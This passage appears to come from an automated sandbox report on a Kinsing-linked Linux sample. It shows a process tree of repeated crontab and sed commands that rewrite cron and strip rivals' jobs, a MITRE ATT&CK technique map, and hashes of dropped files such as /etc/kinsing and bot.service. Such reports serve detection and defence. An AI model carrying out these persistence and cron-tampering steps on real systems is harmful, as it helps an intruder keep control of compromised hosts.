                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                    crontab -
                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                    • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                                                                    PID:1105
                                                                                                                                                                                                                                                                                                                                                                                  • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                    sed /givemexyz/d
                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:1104
                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                      crontab -l
                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:1103
                                                                                                                                                                                                                                                                                                                                                                                      • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                        sed /world/d
                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:1107
                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                          crontab -l
                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:1106
                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                            crontab -
                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                            • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                                                                            PID:1108
                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                            crontab -l
                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:1109
                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                              crontab -
                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                              • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                                                                              PID:1111
                                                                                                                                                                                                                                                                                                                                                                                            • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                              sed /1.sh/d
                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:1110
                                                                                                                                                                                                                                                                                                                                                                                              • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                sed /3.sh/d
                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:1113
                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                  crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:1112
                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                    crontab -
                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                                                                                    PID:1114
                                                                                                                                                                                                                                                                                                                                                                                                  • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                    sed /workers/d
                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:1116
                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                      crontab -
                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                                                                                      PID:1117
                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                      crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:1115
                                                                                                                                                                                                                                                                                                                                                                                                      • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                        sed /oracleservice/d
                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:1119
                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                          crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:1118
                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                            crontab -
                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                                                                                            PID:1120

                                                                                                                                                                                                                                                                                                                                                                                                        Network

                                                                                                                                                                                                                                                                                                                                                                                                              MITRE ATT&CK Enterprise v16

                                                                                                                                                                                                                                                                                                                                                                                                              Reconnaissance

                                                                                                                                                                                                                                                                                                                                                                                                              Resource Development

                                                                                                                                                                                                                                                                                                                                                                                                              Initial Access

                                                                                                                                                                                                                                                                                                                                                                                                              Execution

                                                                                                                                                                                                                                                                                                                                                                                                              Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1053

                                                                                                                                                                                                                                                                                                                                                                                                              Cron

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1053.003

                                                                                                                                                                                                                                                                                                                                                                                                              Shared Modules

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1129

                                                                                                                                                                                                                                                                                                                                                                                                              Persistence

                                                                                                                                                                                                                                                                                                                                                                                                              Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1547

                                                                                                                                                                                                                                                                                                                                                                                                              XDG Autostart Entries

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1547.013

                                                                                                                                                                                                                                                                                                                                                                                                              Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1543

                                                                                                                                                                                                                                                                                                                                                                                                              Systemd Service

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1543.002

                                                                                                                                                                                                                                                                                                                                                                                                              Hijack Execution Flow

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1574

                                                                                                                                                                                                                                                                                                                                                                                                              Dynamic Linker Hijacking

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1574.006

                                                                                                                                                                                                                                                                                                                                                                                                              Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1053

                                                                                                                                                                                                                                                                                                                                                                                                              Cron

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1053.003

                                                                                                                                                                                                                                                                                                                                                                                                              Privilege Escalation

                                                                                                                                                                                                                                                                                                                                                                                                              Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1547

                                                                                                                                                                                                                                                                                                                                                                                                              XDG Autostart Entries

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1547.013

                                                                                                                                                                                                                                                                                                                                                                                                              Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1543

                                                                                                                                                                                                                                                                                                                                                                                                              Systemd Service

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1543.002

                                                                                                                                                                                                                                                                                                                                                                                                              Hijack Execution Flow

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1574

                                                                                                                                                                                                                                                                                                                                                                                                              Dynamic Linker Hijacking

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1574.006

                                                                                                                                                                                                                                                                                                                                                                                                              Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1053

                                                                                                                                                                                                                                                                                                                                                                                                              Cron

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1053.003

                                                                                                                                                                                                                                                                                                                                                                                                              Defense Evasion

                                                                                                                                                                                                                                                                                                                                                                                                              Deobfuscate/Decode Files or Information

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1140

                                                                                                                                                                                                                                                                                                                                                                                                              File and Directory Permissions Modification

                                                                                                                                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                                                                                                                                              T1222

                                                                                                                                                                                                                                                                                                                                                                                                              Linux and Mac File and Directory Permissions Modification

                                                                                                                                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                                                                                                                                              T1222.002

                                                                                                                                                                                                                                                                                                                                                                                                              Hijack Execution Flow

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1574

                                                                                                                                                                                                                                                                                                                                                                                                              Dynamic Linker Hijacking

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1574.006

                                                                                                                                                                                                                                                                                                                                                                                                              Impair Defenses

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1562

                                                                                                                                                                                                                                                                                                                                                                                                              Disable or Modify System Firewall

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1562.004

                                                                                                                                                                                                                                                                                                                                                                                                              Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1497

                                                                                                                                                                                                                                                                                                                                                                                                              System Checks

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1497.001

                                                                                                                                                                                                                                                                                                                                                                                                              Credential Access

                                                                                                                                                                                                                                                                                                                                                                                                              Discovery

                                                                                                                                                                                                                                                                                                                                                                                                              Process Discovery

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1057

                                                                                                                                                                                                                                                                                                                                                                                                              System Information Discovery

                                                                                                                                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                                                                                                                                              T1082

                                                                                                                                                                                                                                                                                                                                                                                                              System Network Configuration Discovery

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1016

                                                                                                                                                                                                                                                                                                                                                                                                              Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1497

                                                                                                                                                                                                                                                                                                                                                                                                              System Checks

                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                              T1497.001

                                                                                                                                                                                                                                                                                                                                                                                                              Lateral Movement

                                                                                                                                                                                                                                                                                                                                                                                                              Collection

                                                                                                                                                                                                                                                                                                                                                                                                              Command and Control

                                                                                                                                                                                                                                                                                                                                                                                                              Exfiltration

                                                                                                                                                                                                                                                                                                                                                                                                              Impact

                                                                                                                                                                                                                                                                                                                                                                                                              Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                              Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                              Downloads

                                                                                                                                                                                                                                                                                                                                                                                                              kinsing
                                                                                                                                                                                                                                                                                                                                                                                                              • Path /etc/kinsing
                                                                                                                                                                                                                                                                                                                                                                                                              • Size 162B
                                                                                                                                                                                                                                                                                                                                                                                                              • SHA256 9e17cb15dd75bbbd5dbb984eda674863c3b10ab72613cf8a39a00c3e11a8492a
                                                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                              bot.service
                                                                                                                                                                                                                                                                                                                                                                                                              • Path /lib/systemd/system/bot.service
                                                                                                                                                                                                                                                                                                                                                                                                              • Size 193B
                                                                                                                                                                                                                                                                                                                                                                                                              • SHA256 05d02411668f4ebd576a24ac61cc84e617bdb66aa819581daa670c65f1a876f0
                                                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                              sh-thd.N7yQs4
                                                                                                                                                                                                                                                                                                                                                                                                              • Path /tmp/sh-thd.N7yQs4
                                                                                                                                                                                                                                                                                                                                                                                                              • Size 827KB
                                                                                                                                                                                                                                                                                                                                                                                                              • SHA256 eb16ec47f744b1fb521feef15941699c0716b190b1810c63876e0298fc65c36a
                                                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                              embedded.sh
                                                                                                                                                                                                                                                                                                                                                                                                              • Path /tmp/tmp.Z9ZullKpYK/embedded.sh
                                                                                                                                                                                                                                                                                                                                                                                                              • Size 11KB
                                                                                                                                                                                                                                                                                                                                                                                                              • SHA256 9f5a01e4e008c9a35d2acf49c99c3de292703669fbfc47e0ab6dea23e730150f
                                                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                              tmp.6TBMQg
                                                                                                                                                                                                                                                                                                                                                                                                              • Path /var/spool/cron/crontabs/tmp.6TBMQg
                                                                                                                                                                                                                                                                                                                                                                                                              • Size 175B
                                                                                                                                                                                                                                                                                                                                                                                                              • SHA256 6a5bd23cc567a0a8f8ac2e2622cae5f968e838f770da4f41b30915251b60fd67
                                                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                              tmp.MZPFIl
                                                                                                                                                                                                                                                                                                                                                                                                              • Path /var/spool/cron/crontabs/tmp.MZPFIl
                                                                                                                                                                                                                                                                                                                                                                                                              • Size 175B
                                                                                                                                                                                                                                                                                                                                                                                                              • SHA256 a22ada604c0249b120ad0ad6e1979f1343a4ca75aa16aafd9d6f173709d59f1e
                                                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                              tmp.XVgSej
                                                                                                                                                                                                                                                                                                                                                                                                              • Path /var/spool/cron/crontabs/tmp.XVgSej
                                                                                                                                                                                                                                                                                                                                                                                                              • Size 175B
                                                                                                                                                                                                                                                                                                                                                                                                              • SHA256 6257da2b7e78a9532b962fdb5d5efeb219b9f7c24d9076e37082abc2267a7974
                                                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                              tmp.dwH4iv
                                                                                                                                                                                                                                                                                                                                                                                                              • Path /var/spool/cron/crontabs/tmp.dwH4iv
                                                                                                                                                                                                                                                                                                                                                                                                              • Size 175B
                                                                                                                                                                                                                                                                                                                                                                                                              • SHA256 102e1a4c5f15326f66c9f8bdba248d4753270c4277cd2ebdf06b42375177563f
                                                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                              tmp.wEFRYe
                                                                                                                                                                                                                                                                                                                                                                                                              • Path /var/spool/cron/crontabs/tmp.wEFRYe
                                                                                                                                                                                                                                                                                                                                                                                                              • Size 175B
                                                                                                                                                                                                                                                                                                                                                                                                              • SHA256 f8c0fe80cf7022113977f849f39c8a9a6c401f9df62e79df0ca020da1da7403e
                                                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                              tmp.yT6q6c
                                                                                                                                                                                                                                                                                                                                                                                                              • Path /var/spool/cron/crontabs/tmp.yT6q6c
                                                                                                                                                                                                                                                                                                                                                                                                              • Size 175B
                                                                                                                                                                                                                                                                                                                                                                                                              • SHA256 f028df07275d433d4c01a149cce80e441e659e2e494957339065be506561d929
                                                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                              tmp.zV1pgg
                                                                                                                                                                                                                                                                                                                                                                                                              • Path /var/spool/cron/crontabs/tmp.zV1pgg
                                                                                                                                                                                                                                                                                                                                                                                                              • Size 175B
                                                                                                                                                                                                                                                                                                                                                                                                              • SHA256 5fe9164f9bfebb64d94c7b8109e0cb0a24b252f494f4bee78656613f738ae178
                                                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                              Submit Download